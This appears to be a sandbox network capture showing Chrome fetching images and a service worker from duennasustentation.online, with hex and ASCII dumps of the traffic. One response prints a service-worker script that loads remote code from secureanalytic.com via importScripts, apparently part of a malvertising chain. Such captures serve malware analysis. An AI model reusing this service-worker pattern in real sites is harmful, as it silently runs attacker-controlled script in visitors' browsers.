2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 11 3d fa 2b 28 5b 93 a2 9d 37 0c 73 d8 a5 04 b7 3f 05 25 12 5f 38 59 d5 70 94 fa 2a af bd f6 b7 df e9 7a 8e e3 38 ce 8e cd 85 e0 ed 89 b2 21 00 cf 05 ef 9c f3 f0 af f9 2f 9b a7 8b e8 ed 87 b1 53 27 c7 b5 b3 1b 87 c3 08 c8 12 a4 9b 10 0d 7f 9b c4 83 17 41 b8 2e a5 a7 28 ad ba e3 df 3d 0c af d3 6e d8 ef 93 17 b2 95 4f 96 0b 81 32 41 9a c7 61 5c 9a 08 d2 2a 39 1e 37 22 0e 36 79 a0 c5 a5 d8 b9 df 55 79 0c b3 ff c9 04 83 fe 03 5e 63 74 4a 32 60 d5 b6 70 a7 3c 00 97 28 f6 5b c5 3b e6 10 fc 3b df 82 20 35 e5 21 e6 9c 41 04 57 df 0a f3 93 d3 d4 32 48 4d f8 b3 c4 6f 62 3a 41 38 7c 18 e1 5f 7e 05 51 6a 9f bb 54 33 03 7e 43 f0 e7 7f c1 7a e2 56 7a 69 a4 e6 b1 10 e2 12 8b f4 00 f2 9b a5 60 87 8e e3 38 8e 53 91 0b c1 db 8b f2 b6 50 c5 8a 9d 03 de 29 67 e0 5f fd 3f a0 Data Ascii: =+([7s?%_8Ypz8!/S'A.(=nO2Aa\97"6yUy^ctJ2`p<([;; 5!AW2HMob:A8\|_~QjT3~CzVzi`8SP)g_?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	49796	172.67.144.59	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:42 UTC	428	OUT	GET /images/comm_pic_1.jpg HTTP/1.1 Host: duennasustentation.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:43 UTC	1052	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:43 GMT Content-Type: image/jpeg Content-Length: 138542 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d294d-21d2e" expires: Wed, 08 Jan 2025 14:44:41 GMT last-modified: Tue, 07 Jan 2025 13:17:01 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bbmi87Pwej8Br6uxSiRHnpq5cJznxvEGs2PSjjokIj06c6u4NUc48bZxN8Z6VSkjOBsP%2BbXcPXXuUD4E5noM9oreAeiwFDddJq0XY2esnxYBUSelXtjp4WTx9%2FZvDfJ47mRxcdAy%2BtBWe%2Fh3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf7947a0f0fa4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1649&min_rtt=1642&rtt_var=630&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2869&recv_bytes=1006&delivery_rate=1715628&cwnd=176&unsent_bytes=0&cid=6fc47bd528932763&ts=918&x=0"
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: ff d8 ff e1 1c ca 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 01 e0 00 00 01 01 00 03 00 00 00 01 01 68 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 d3 87 69 00 04 00 00 00 01 00 00 00 e8 00 00 01 20 00 08 00 08 00 08 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 33 3a 30 37 3a 32 35 20 32 32 3a 31 33 3a 33 36 00 00 00 04 90 00 00 07 00 00 00 04 30 Data Ascii: ExifMM*h(12i ''Adobe Photoshop 21.0 (Windows)2023:07:25 22:13:360
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: c7 38 07 3b dd 03 f4 6d 73 7d df f7 cf f8 44 66 b5 ad af 73 18 1a 74 68 6e ba fc 76 ee fa 3b bf 9c 7f fd ba 8a 11 b3 1a ab 46 f6 8d 44 ea 4c 78 f2 a0 ec 7a cc 16 7b 1c 0e dd 84 ea 5b f9 a6 0f d3 76 e5 70 56 1a 36 ed 05 da 6d 9e 46 9e 0d ff 00 c8 a4 71 1e 01 73 a4 30 68 e0 64 81 bb 4f a4 3e 93 77 7f 84 4e b4 34 07 d9 d8 5c db 08 04 0d 49 91 07 43 f4 63 77 d1 7f fd b6 8d 43 77 3b f4 7e f0 3f 3c 08 00 72 ef 6b bd cd f7 6d 6d 7f e0 bf f4 58 c7 53 e8 4d c9 7b 0f 52 c2 6d 8d da 08 75 f5 b5 f3 f4 b8 73 b6 3f dc ef e6 d8 ea fd 3f fc 11 5b c6 c9 ab 29 8e 38 b7 55 92 c6 6a 1d 5d ad b1 a0 f7 fe 63 d4 6f e7 7d 3f 53 fc 22 56 a4 ac 68 6b 7d f0 40 26 47 cc cf 1b 7f 77 d9 67 f8 44 94 f7 39 ce d9 20 fe 73 58 79 db 3b 5b b7 db eb 3b 62 48 da 29 ff d1 e7 aa a8 3b 81 a8 e2 Data Ascii: 8;ms}Dfsthnv;FDLxz{[vpV6mFqs0hdO>wN4\ICcwCw;~?<rkmmXSM{Rmus??[)8Uj]co}?S"Vhk}@&GwgD9 sXy;[;bH);
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 9d c3 d2 e5 e4 3f ef f8 57 8e 53 2f 5a 1e 67 fe f5 e7 03 29 98 01 e7 e6 d1 ff 00 7d 7a 4b b0 c4 e8 5d 1f d2 be eb 31 ff 00 47 50 03 57 bc 97 38 fd 16 37 73 ff 00 3a 12 4c fb fe 2b ae 19 fd 91 ff 00 be 4f dc e7 de 3f 6c bf ef 5f ff d3 c0 eb 38 d7 e5 f4 c7 d5 54 93 5b 85 8e dc 27 da 25 ae fc d7 3d db 5b ef f6 7f ea 35 71 bd 4f 0a de 9c eb 2f c8 cd ad b4 61 b3 0f 15 ee 77 ad 5d af 68 78 dd b1 fe 8d b8 cd ba c7 56 d6 37 f4 df f8 1a 3d 3b 1a 09 21 de c8 33 04 8d 9f 47 76 f6 37 fd 27 d2 67 f8 2f f0 8a bd bd 1f a6 e6 bc 5b 6b 1e d6 f2 76 b9 f5 b5 e7 53 30 dd d4 f7 f7 fa 29 80 f7 5e e2 d9 9f ea 39 af 73 43 5e 1a 1a f2 d3 04 91 f4 9c f2 d6 b7 dc 9a be af 97 4e 45 47 1e d7 37 63 2d 6e b0 ef 6d 8d fd 26 e0 ed cc 73 7d 4f 4d de ff 00 dc 62 e9 72 fe ae e1 df 82 ea 70 Data Ascii: ?WS/Zg)}zK]1GPW87s:L+O?l_8T['%=[5qO/aw]hxV7=;!3Gv7'g/[kvS0)^9sC^NEG7c-nm&s}OMbrp
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: a6 5f e9 3f f9 1b ec ff 00 8c b1 5e ea f5 60 32 f7 33 1d 8c a9 94 fe 8c 39 85 ff 00 a5 83 fc fb 99 63 ec d9 77 ef fa 7e 95 3f f0 48 23 a6 e4 0a ab b9 ef ae 96 da d9 61 7b 8f b9 be 3b 1a cb 13 ab a2 c6 90 68 98 24 0f 8c a2 ec 04 0d a1 c4 eb b8 c1 8f e4 ed fa 2a e6 07 4b b7 2b 32 ac 7a 2d a6 cb ee 76 ca 9b fa 40 0b a2 76 fb 69 fc ef de 5b 56 7d 51 ea b5 e3 dd 95 ea 63 bd 94 56 6d 7b 18 eb 1c e2 c6 8d ee 2c 2e a1 95 fd 0f f8 44 c9 48 46 81 20 5f 72 13 11 7d de 5c 35 c5 e1 84 11 27 c3 ff 00 24 42 4b aa c2 fa ab 6e 76 36 f3 60 65 84 88 69 1b 9a 1a 74 1b 9a df 72 49 71 78 27 87 5d df ff d5 ee 28 e9 7d 3b a6 63 13 8d 48 df 13 63 89 dc e7 9f de b6 c7 7b ad ff 00 a8 58 7d 53 3f 32 bc 5b b6 b0 b1 cc 05 db f8 1d e1 ad 5d 1b 1e 1e 5a 0c 40 d4 8e d1 e0 b8 bf ad dd 6f Data Ascii: _?^`239cw~?H#a{;h$*K+2z-v@vi[V}QcVm{,.DHF _r}\5'$BKnv6`eitrIqx'](};cHc{X}S?2[]Z@o
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: b2 b5 77 17 2d 2e 5b 24 4e 2c 82 18 04 6b 26 32 0c b8 e7 2f 96 5c 5f bb c5 c3 f3 cd ae 48 98 f5 02 65 7f 92 6a ae e9 ac be b3 4e 53 9f 69 c6 23 21 b7 38 9f d6 1e 06 fc 7c 7d 9f a2 ae 9a 9a df cf 77 e9 9f fc d7 aa b9 97 31 cf b0 bb 52 e2 49 1e 3c ae 97 11 9d 0d 98 b9 2c 75 36 75 07 96 bd 82 fa 58 0d 54 82 dd 8d b3 d6 b2 d6 63 b6 d6 58 ef 53 f4 3e a5 9e cf d1 dd 42 ab d0 7a 6b b2 b2 18 f7 89 05 cd e0 81 24 9f a2 d7 3f 6f bb da e5 30 27 5b e2 35 a7 14 b8 7d 5f dd e1 fd 14 d0 f0 47 6f 4e 75 1d 32 8f 57 e9 3c b9 ef e7 f3 a1 b1 fd 98 58 fe 89 61 f0 2d 9d 44 f7 8d 7f 93 f4 57 a3 f5 4e 8c 72 a9 f4 76 7a 4f 03 68 70 88 22 37 b6 36 fe 6e ff 00 53 d8 cf a0 b0 5f f5 37 2d ce 23 d5 d9 c7 d2 6c 12 1c 76 6e 01 d1 b9 ba a2 24 a3 10 f2 fb 5d b9 a6 06 e6 99 1f 15 a3 d3 1b Data Ascii: w-.[$N,k&2/\_HejNSi#!8\|}w1RI<,u6uXTcXS>Bzk$?o0'[5}_GoNu2W<Xa-DWNrvzOhp"76nS_7-#lvn$]
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: b7 52 b6 b4 58 ed c0 97 d4 e0 6c 61 06 5a 5c 0b 9b ef 6f f8 3b ea af d5 a9 fe 97 f3 94 fe 8e cd f5 fb f4 5a 77 d1 ed dc 46 83 df 25 a6 18 1a e6 3b 6f d0 77 b7 f7 2b 67 f8 1f f8 25 97 8e 1b b5 a5 83 7b f6 02 c6 99 da 64 ef 00 fd 26 fb 77 6d db fc df f8 3a d5 a6 3e e6 6d 76 38 63 7d ac dc 08 d6 08 87 b0 34 6c 76 df 6f e8 eb f5 bf e2 aa fd 1f a8 9a 57 06 dd 6f 73 4b 99 70 14 6d 3b 83 5f 2d 07 74 39 ee dc ed db 77 bb 6b 9d ea ff 00 c2 7e 93 f4 6a 37 64 56 c7 8d a3 d6 98 d5 82 5a e1 b7 fe e4 38 3a bb 1e ed bf cd ff 00 86 ff 00 4b fe 09 01 b5 b4 ee 6c 39 f1 b6 18 e2 1c d8 70 3e d6 d5 63 b6 7f 83 b3 e9 7d 0b 7f 45 57 e9 55 8a 1d 64 1f d2 6d 2c 71 82 ca e1 ed 60 88 b1 8e fc ef cd b3 e8 7f e8 b4 db 4d 24 79 b4 97 c3 4b 5e e0 5a f7 bb 66 a0 8f a0 eb 06 e7 35 de 9f Data Ascii: RXlaZ\o;ZwF%;ow+g%{d&wm:>mv8c}4lvoWosKpm;_-t9wk~j7dVZ8:Kl9p>c}EWUdm,q`M$yK^Zf5
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 67 00 00 00 00 00 00 00 0c 63 72 6f 70 52 65 63 74 4c 65 66 74 6c 6f 6e 67 00 00 00 00 00 00 00 0d 63 72 6f 70 52 65 63 74 52 69 67 68 74 6c 6f 6e 67 00 00 00 00 00 00 00 0b 63 72 6f 70 52 65 63 74 54 6f 70 6c 6f 6e 67 00 00 00 00 00 38 42 49 4d 03 ed 00 00 00 00 00 10 00 48 00 00 00 01 00 01 00 48 00 00 00 01 00 01 38 42 49 4d 04 26 00 00 00 00 00 0e 00 00 00 00 00 00 00 00 00 00 3f 80 00 00 38 42 49 4d 04 0d 00 00 00 00 00 04 ff ff ff c4 38 42 49 4d 04 19 00 00 00 00 00 04 00 00 00 1e 38 42 49 4d 03 f3 00 00 00 00 00 09 00 00 00 00 00 00 00 00 01 00 38 42 49 4d 27 10 00 00 00 00 00 0a 00 01 00 00 00 00 00 00 00 02 38 42 49 4d 03 f5 00 00 00 00 00 48 00 2f 66 66 00 01 00 6c 66 66 00 06 00 00 00 00 00 01 00 2f 66 66 00 01 00 a1 99 9a 00 06 00 00 00 00 00 Data Ascii: gcropRectLeftlongcropRectRightlongcropRectToplong8BIMHH8BIM&?8BIM8BIM8BIM8BIM'8BIMH/fflff/ff
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 42 49 4d 04 0c 00 00 00 00 1b 60 00 00 00 01 00 00 00 68 00 00 00 a0 00 00 01 38 00 00 c3 00 00 00 1b 44 00 18 00 01 ff d8 ff ed 00 0c 41 64 6f 62 65 5f 43 4d 00 02 ff ee 00 0e 41 64 6f 62 65 00 64 80 00 00 00 01 ff db 00 84 00 0c 08 08 08 09 08 0c 09 09 0c 11 0b 0a 0b 11 15 0f 0c 0c 0f 15 18 13 13 15 13 13 18 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0d 0b 0b 0d 0e 0d 10 0e 0e 10 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c 0c 11 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 00 a0 00 68 03 01 22 00 02 11 01 03 11 01 ff dd 00 04 00 07 ff c4 01 3f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 03 00 01 02 Data Ascii: BIM`h8DAdobe_CMAdobedh"?
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 30 e9 74 8d 0f 32 ed cd fc ee 7d ca ed 35 16 89 00 b8 b8 40 9f 69 d3 fe 83 da 85 8e d7 fd 17 bc 12 e2 01 1a f0 4c 4e d8 77 ee ae 4b ac 7f 8c 53 45 af c7 e8 b8 e2 1a 4b 3e d9 94 09 2e da 7e 9d 18 ba 31 9e e1 fe 1f d6 f6 7f 81 aa c4 e0 09 41 34 f7 b4 b0 b4 6b ed 9d 00 02 7f cd 9f a1 f4 51 9f b0 b4 7b 83 6e 79 2d 69 27 db af bb dd b9 de 9d 9b b6 ed 5e 42 df af bf 5b 41 91 9f f2 f4 68 db fe 67 a3 b5 6c f4 df f1 a3 98 ca 5f 47 55 c5 66 43 5e d7 37 d7 c7 db 55 80 b8 39 bb fd 3b 59 7e 36 e6 b9 de cf 4e ba 7f eb 9f cd a3 c2 42 2c 3b 9d 57 aa f5 4e a9 98 ce 97 d1 ee b3 1e 87 bf 6b ef ac ec b1 d5 b4 87 dd 95 5b ff 00 9e aa aa bf 33 df fd 1f d4 f5 7d f7 55 e9 52 fa cd d2 fe ab f4 0a 1a 7a 8d 99 bd 6f 37 2b df 8d 8b 97 92 e6 82 3e 8b b2 b2 3d 00 cb 2b c7 6b 9b ec fd Data Ascii: 0t2}5@iLNwKSEK>.~1A4kQ{ny-i'^B[Ahgl_GUfC^7U9;Y~6NB,;WNk[3}URzo7+>=+k
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: c9 ce ad b6 e3 45 84 32 cb 0b 1e 1a 7c 2b b3 21 ae d7 fe 23 e8 2f 2f e8 dd 1a ce 9e e7 df 7e 97 bb d8 6b 04 8d ad 1a bf 73 bf 7d ce ff 00 31 1b aa f5 ea 29 c5 60 0f ba d3 79 70 aa cc 6c 80 1c cd a1 be ad b5 dd b5 cc 63 f6 5b e9 fb 99 63 fd ff 00 a3 f4 d6 17 39 ee 67 e6 bf 54 6f 41 0d af d5 ea f5 71 37 61 80 43 17 14 cf 09 17 a3 d8 67 0f aa 7f 59 46 e6 db 5b f3 9d 50 65 57 56 36 5e 1a 76 e4 32 bd ef 6b da ef ea 3d 9f f9 f1 79 ff 00 d6 3c 7b 3a 47 da b1 c5 9b cb 1b 35 5a d8 d4 3b f4 6d fa 05 cd 6d b5 d9 be ab 3d df ce d6 a7 8d f5 a2 aa ad aa d7 5f 9d 34 ee 25 d6 36 8b 9c 41 0e df ba e2 ea ec 6f b5 db 7f 45 e9 bd 61 7d 67 eb f6 75 bc ef 5d a5 e2 96 56 da 9a d7 17 0d d0 5d 6b ed 75 4e b6 ff 00 4b 75 d6 bf d2 a3 d4 7b 31 e9 f4 a9 fc c5 63 1f 2f 97 dd 8c 48 3e Data Ascii: E2\|+!#//~ks}1)`yplc[c9gToAq7aCgYF[PeWV6^v2k=y<{:G5Z;mm=_4%6AoEa}gu]V]kuNKu{1c/H>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	49797	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:42 UTC	690	OUT	GET /service-worker.js HTTP/1.1 Host: duennasustentation.online Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:43 UTC	996	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:43 GMT Content-Type: application/javascript Content-Length: 271 Connection: close accept-ranges: bytes etag: "66b0d0e7-10f" last-modified: Mon, 05 Aug 2024 13:17:27 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VHz5j%2BjaFTm9licnL4Z6tXrWhI0GaW7xUUyYdmumgM3iC%2FNHuR38BdUg56J2yU%2FF33hw9HrL43nOEsfVzkwraot%2FYxlO30IywkZow8CzouN1wmUO%2FFkCFEX8AGOCCPk1qvFy2KV8URudXzIQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf7954e1978dc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1881&min_rtt=1855&rtt_var=714&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2870&recv_bytes=1268&delivery_rate=1574123&cwnd=174&unsent_bytes=0&cid=07bea1112558c6d9&ts=895&x=0"
2025-01-08 14:44:43 UTC	271	IN	Data Raw: 69 66 20 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 20 3d 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 29 20 7b 0a 20 20 20 20 69 6d 70 6f 72 74 53 63 72 69 70 74 73 28 27 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 61 6e 61 6c 79 74 69 63 2e 63 6f 6d 2f 73 63 72 69 70 74 73 2f 65 78 74 2f 73 63 72 69 70 74 2f 36 34 64 35 70 39 39 67 6a 30 3f 75 72 6c 3d 27 2b 65 6e 63 6f 64 65 55 52 49 28 73 65 6c 66 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 29 29 3b 0a 20 7d 0a 20 69 6d 70 6f 72 74 53 63 72 69 70 74 73 28 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 61 6e 61 6c 79 74 69 63 2e 63 6f 6d 2f 73 63 72 69 70 74 73 2f 73 77 2f 73 63 72 69 70 74 2f 36 34 64 35 70 39 39 67 6a 30 3f 75 72 6c 3d 22 2b 65 6e 63 6f 64 65 55 52 49 28 73 65 6c 66 2e 6c 6f 63 61 Data Ascii: if (typeof window === "undefined") { importScripts('https://secureanalytic.com/scripts/ext/script/64d5p99gj0?url='+encodeURI(self.location.hostname)); } importScripts("https://secureanalytic.com/scripts/sw/script/64d5p99gj0?url="+encodeURI(self.loca

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.16	49798	172.67.144.59	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:42 UTC	419	OUT	GET /images/3.jpg HTTP/1.1 Host: duennasustentation.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:43 UTC	1053	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:43 GMT Content-Type: image/jpeg Content-Length: 65241 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d294c-fed9" expires: Wed, 08 Jan 2025 14:44:42 GMT last-modified: Tue, 07 Jan 2025 13:17:00 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BXkqd%2BIBUBKurnG1v0MpEZYYez5uqMPG5rm2zx%2Fo2ieVowSydU8siuWUvqZkE9pXMCj5xLeZ7Iepjq%2BX4jUMfgvp6%2BDM%2BnUjq%2F44QrmwtStN9KkoTPOKa5vY4bVVYsQz8kJ9nsNdVI9Lq5Rh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf7957aec8c69-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1804&min_rtt=1795&rtt_var=691&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2868&recv_bytes=997&delivery_rate=1564006&cwnd=217&unsent_bytes=0&cid=bf875677ec5ad600&ts=905&x=0"
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: ff d8 ff e1 24 c0 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 03 c0 00 00 01 01 00 03 00 00 00 01 03 c0 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 d3 87 69 00 04 00 00 00 01 00 00 00 e8 00 00 01 20 00 08 00 08 00 08 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 33 3a 30 34 3a 31 39 20 31 39 3a 31 38 3a 35 31 00 00 00 04 90 00 00 07 00 00 00 04 30 Data Ascii: $ExifMM*(12i ''Adobe Photoshop 21.0 (Windows)2023:04:19 19:18:510
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 4e 4d 59 39 39 96 59 fa 1b 66 ac 66 03 04 9b 20 dd 6b 6b ff 00 83 6f e8 77 aa 3f 54 71 ec b7 2a d3 54 36 cb 0b 69 6b bf 77 77 ba cd bf d5 ac 2a df 59 7a b3 fa ae 7b af 70 da d6 7b 2b 67 87 97 fe 4d 74 1f 51 30 5e fc 7b 2e 8d ad 0e db bb bc b8 4b bf e8 7b 53 f8 44 b4 ad 0c b8 bf 1e 35 dc 46 10 27 a8 8f 0f e1 c0 f5 3b da 1c 1b 5e 94 e3 36 3e 04 08 ff 00 c0 d9 ff 00 4d 71 dd 43 37 23 2f 3c ba b0 0b 9e e3 b1 8e 3a 08 69 0c ff 00 a0 17 4d d6 af af 1f a7 ba 9a fe 95 9e c6 c7 30 7f 9c 77 f9 ab 8a ce c9 ae 8c 6b 2d 73 b6 ba c7 16 06 77 d3 e9 7f e7 7f 98 8e 5f 51 10 1e 33 97 d3 e4 1f e3 7f d0 61 c5 a0 94 bf c0 87 d7 e7 3f e2 ad 89 d6 b1 ad df 89 d4 8b 45 b4 e8 cc 86 8d 81 cd 8e cf 1f cd d8 c4 df b6 fa 23 2f 6d 2d be e7 b5 b1 ed 70 96 1f 29 fa 4e 5c d5 cc 36 ef b1 Data Ascii: NMY99Yff kkow?TqT6ikwwYz{p{+gMtQ0^{.K{SD5F';^6>MqC7#/<:iM0wk-sw_Q3a?E#/m-p)N\6
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 3e a7 58 e2 eb 6c 2c 7f b2 e8 dd ed 6f a9 fb fb 56 1d b9 39 3b 27 d4 73 43 9a 1a d6 9f a6 e6 37 f7 ff 00 cd 4c 86 32 09 aa 00 9b d3 d3 72 fd 29 33 48 82 07 16 b4 2b 5a 3e 91 fa 2f 6f f5 63 a8 bb a9 f5 5c 9b cd 7e 93 80 37 5e c8 86 8b 2c 3f e0 bf 91 f9 eb 7d c4 b6 c9 ee 38 5c bf d4 26 3a b3 99 6b 8e bb 2b 61 27 c5 c5 d6 ff 00 d4 ed 5b 99 59 05 a4 90 e0 3c 94 39 00 12 34 d8 85 90 3c 9b 56 e5 5d 4b 5c fa 5e 6b b2 08 dc 35 ff 00 39 bf 9c d5 52 de a8 cc c7 1b 2d ae b6 4b 49 dc c9 86 db fc b1 ff 00 09 67 d0 b1 67 d9 d5 d8 1a 5b 61 8e c4 ae 4f ac e6 64 e3 e4 51 93 8b 63 ab dc 4b da e6 98 82 0f d1 ff 00 35 08 40 ce 42 3d 2f 88 03 b7 14 55 90 88 c4 c8 ef 5c 24 8d f8 64 f7 7d 73 aa 5d 77 47 39 2f 60 a6 f6 90 cb 2b 69 dc 0e bb 83 8f ee 3d db bf 9b 5c cd 65 95 80 c7 Data Ascii: >Xl,oV9;'sC7L2r)3H+Z>/oc\~7^,?}8\&:k+a'[Y<94<V]K\^k59R-KIgg[aOdQcK5@B=/U\$d}s]wG9/`+i=\e
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 7a 7c c6 b3 23 16 ca ac 61 7d 65 a7 80 4f dd 09 bc 54 6d 55 d1 f2 93 ea b5 c5 bf 4a 38 9f f6 a2 d7 43 6c 69 b2 e6 b6 aa da 76 9b ac 05 b0 e8 9d 8c 2c fe 7a df f8 3a d5 bb b0 5c cb dc ec c6 3e bc 7a ff 00 38 7b 6c 71 fc ca aa 9f a0 eb 3f 3b 77 f3 6c fd 22 16 4b f2 32 20 38 37 d2 68 db 55 24 7b 2b 07 f3 6a fd df e5 bf f9 cb 7f 3d 58 12 04 0a 60 20 86 bf af d2 fd 4f 44 7a ce 61 d1 d7 b9 c2 5b e7 5d 0d 3f 47 77 fa 4b 77 ec 49 54 38 ac f5 83 43 48 77 7a cf 7f ea bb f7 52 4f a8 f7 3b 2d b3 e0 ff 00 ff d3 e5 f3 df 66 3b 9f 8e d6 8d a0 41 0d e5 d4 bb dd b5 bf f1 8f 6a b9 d0 7e ab d5 d5 6b 7e 66 69 f4 b0 59 2d 65 75 9d a6 cb 40 f6 b0 b9 df cd e3 d7 bb 65 9b 7f 48 a8 64 d1 7f d9 1a 2b ad ce c7 6b 1d 75 0e 02 5d 5d 6e 74 3e a7 4f fa 3b 7f c0 ff 00 a3 45 e9 3d 6e cc Data Ascii: z\|#a}eOTmUJ8Cliv,z:\>z8{lq?;wl"K2 87hU${+j=X` ODza[]?GwKwIT8CHwzRO;-f;Aj~k~fiY-eu@eHd+ku]]nt>O;E=n
